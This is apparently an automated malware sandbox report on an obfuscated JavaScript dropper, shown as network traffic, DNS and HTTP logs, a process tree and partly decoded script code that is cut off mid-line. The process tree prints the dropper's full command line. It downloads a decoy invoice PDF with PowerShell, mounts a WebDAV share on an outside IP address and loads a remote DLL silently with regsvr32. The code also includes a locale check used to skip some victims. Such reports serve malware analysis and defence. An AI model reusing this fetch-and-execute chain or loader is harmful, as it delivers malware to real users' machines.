Jan 11, 2025 03:42:00.371143103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371157885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.371259928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371319056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.371331930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371381044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371422052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.371464014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371511936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371546030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371551991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.371578932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371622086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.371824980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371857882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371898890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.371891975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371962070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.372003078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.391429901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.391439915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.391477108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.391527891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.391530037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.391546011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.391561031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.391577005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.391602993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.410877943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.410906076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.410923958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.410970926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411029100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411072969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411087990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411103010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411120892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411124945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411160946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411266088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411279917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411294937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411329031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411334038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411348104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411362886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411375046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411377907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411439896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411675930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411689997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411712885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411849976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411865950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411880016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411895037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411899090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411910057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.411920071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.411957979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:01.013417006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:01.252754927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:01.865530014 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:01.870452881 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:01.870569944 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:01.871458054 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:01.876264095 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:02.696863890 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:02.746083021 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:02.820967913 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:43:32.905304909 CET	49892	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:43:32.910193920 CET	53	49892	1.1.1.1	192.168.2.4
Jan 11, 2025 03:43:32.910396099 CET	49892	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:43:32.910471916 CET	49892	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:43:32.915277958 CET	53	49892	1.1.1.1	192.168.2.4
Jan 11, 2025 03:43:33.385001898 CET	53	49892	1.1.1.1	192.168.2.4
Jan 11, 2025 03:43:33.386348963 CET	49892	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:43:33.391415119 CET	53	49892	1.1.1.1	192.168.2.4
Jan 11, 2025 03:43:33.391483068 CET	49892	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:42:10.109731913 CET	52715	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:43:32.903846979 CET	53	50801	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:42:10.109731913 CET	192.168.2.4	1.1.1.1	0x10e3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:42:10.116972923 CET	1.1.1.1	192.168.2.4	0x10e3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:42:10.827271938 CET	1.1.1.1	192.168.2.4	0x1d80	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:42:10.827271938 CET	1.1.1.1	192.168.2.4	0x1d80	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	5900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:41:58.838325977 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:41:59.650527000 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:41:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:41:59.650552034 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:41:59.650578022 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:41:59.650593996 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 03:41:59.650612116 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 03:41:59.650624037 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 03:41:59.650787115 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:41:59.650800943 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 03:41:59.650819063 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 03:41:59.651051998 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 03:41:59.655678034 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	6724	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:42:01.871458054 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:42:02.696863890 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:42:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:41:54
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js"
Imagebase:	0x7ff7b6f40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:41:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Imagebase:	0x7ff608010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:41:54
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:41:55
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:42:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:42:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff608010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:42:00
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70f330000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:42:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:42:01
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:42:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2184 --field-trial-handle=1748,i,1039896660048130409,3306249072533402271,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jenrmlzlo() {	jenrmlzlo() ➔ undefined
1	duied = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var iwbdu = this[vaxuxjxks + hqpfmz + baxcs + bdgjeugw + jgzrzdice + vpgbn + cjtupupm + jyijrl] ( this[aogyhj + yqcts + kenspd + baxcs + wqhhgwgx + vaxuxjxks + jyijrl][qexytdye + baxcs + jgzrzdice + hqpfmz + jyijrl + jgzrzdice + mtrtvy + zqolfouxc + hlblkfrxf + jgzrzdice + kenspd + jyijrl] ( aogyhj + yqcts + kenspd + baxcs + wqhhgwgx + vaxuxjxks + jyijrl + vqgicsq + yqcts + vljlp + jgzrzdice + ocsav + ocsav ) [lzxujd + jgzrzdice + mvwqwulii + lzxujd + jgzrzdice + hqpfmz + skmzuq] ( xlomimf + fzlbhvzw + urbyyk + cggol + qnkvvuy + qexytdye + vlfvbob + lzxujd + lzxujd + urbyyk + twyxwuoa + nzjitjr + qnkvvuy + vlfvbob + yqcts + urbyyk + lzxujd + iolgz + qexytdye + fginykaqn + cjtupupm + jyijrl + baxcs + fginykaqn + ocsav + qayckrz + xbcazi + hqpfmz + cjtupupm + jgzrzdice + ocsav + iolgz + vpgbn + cjtupupm + jyijrl + jgzrzdice + baxcs + cjtupupm + hqpfmz + jyijrl + wqhhgwgx + fginykaqn + cjtupupm + hqpfmz + ocsav + iolgz + ruolimf + fginykaqn + kenspd + hqpfmz + ocsav + jgzrzdice ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rlyrdldg = 0 ; rlyrdldg < duied[ocsav + jgzrzdice + cjtupupm + mvwqwulii + jyijrl + vljlp] ; ++ rlyrdldg )
4	{
5	if ( iwbdu == duied[rlyrdldg] )
6	{
7	iwbdu = true;
8	break ;
9	}
10	}
11	if ( iwbdu !== true )
12	this[aogyhj + yqcts + kenspd + baxcs + wqhhgwgx + vaxuxjxks + jyijrl][endja + hzpqqfy + wqhhgwgx + jyijrl] ( );
13	this[aogyhj + yqcts + kenspd + baxcs + wqhhgwgx + vaxuxjxks + jyijrl][qexytdye + baxcs + jgzrzdice + hqpfmz + jyijrl + jgzrzdice + mtrtvy + zqolfouxc + hlblkfrxf + jgzrzdice + kenspd + jyijrl] ( aogyhj + yqcts + kenspd + baxcs + wqhhgwgx + vaxuxjxks + jyijrl + vqgicsq + yqcts + vljlp + jgzrzdice + ocsav + ocsav ) [baxcs + hzpqqfy + cjtupupm] ( kenspd + dtqiozxtc + skmzuq + qayckrz + ulefusec + kenspd + qayckrz + vaxuxjxks + fginykaqn + fnfvq + jgzrzdice + baxcs + bdgjeugw + vljlp + jgzrzdice + ocsav + ocsav + vqgicsq + jgzrzdice + uqwdbzrj + jgzrzdice + qayckrz + ibkjlj + qexytdye + fginykaqn + dtqiozxtc + dtqiozxtc + hqpfmz + cjtupupm + skmzuq + qayckrz + noctzy + vpgbn + cjtupupm + qwtoxsf + fginykaqn + jssilbq + jgzrzdice + ibkjlj + aogyhj + jgzrzdice + zqolfouxc + lzxujd + jgzrzdice + fskimzdbd + hzpqqfy + jgzrzdice + bdgjeugw + jyijrl + qayckrz + ibkjlj + mtrtvy + hzpqqfy + jyijrl + jvzyvhadz + wqhhgwgx + ocsav + jgzrzdice + qayckrz + xlvwbdncd + jyijrl + jgzrzdice + dtqiozxtc + vaxuxjxks + xlvwbdncd + iolgz + wqhhgwgx + cjtupupm + qwtoxsf + fginykaqn + wqhhgwgx + kenspd + jgzrzdice + vqgicsq + vaxuxjxks + skmzuq + fxxhzdukp + qayckrz + vljlp + jyijrl + jyijrl + vaxuxjxks + quxkw + ulefusec + ulefusec + rfuigw + gtrhnad + qlsxzicxb + vqgicsq + rfuigw + wqlfv + qlsxzicxb + vqgicsq + rfuigw + vqgicsq + hebywa + skazfyyxo + mymappagn + ulefusec + wqhhgwgx + cjtupupm + qwtoxsf + fginykaqn + wqhhgwgx + kenspd + jgzrzdice + vqgicsq + vaxuxjxks + vljlp + vaxuxjxks + noctzy + jvdfwiuz + jvdfwiuz + bdgjeugw + jyijrl + hqpfmz + baxcs + jyijrl + qayckrz + xlvwbdncd + jyijrl + jgzrzdice + dtqiozxtc + vaxuxjxks + xlvwbdncd + iolgz + wqhhgwgx + cjtupupm + qwtoxsf + fginykaqn + wqhhgwgx + kenspd + jgzrzdice + vqgicsq + vaxuxjxks + skmzuq + fxxhzdukp + jvdfwiuz + jvdfwiuz + kenspd + dtqiozxtc + skmzuq + qayckrz + ulefusec + kenspd + qayckrz + cjtupupm + jgzrzdice + jyijrl + qayckrz + hzpqqfy + bdgjeugw + jgzrzdice + qayckrz + iolgz + iolgz + rfuigw + gtrhnad + qlsxzicxb + vqgicsq + rfuigw + wqlfv + qlsxzicxb + vqgicsq + rfuigw + vqgicsq + hebywa + skazfyyxo + mymappagn + 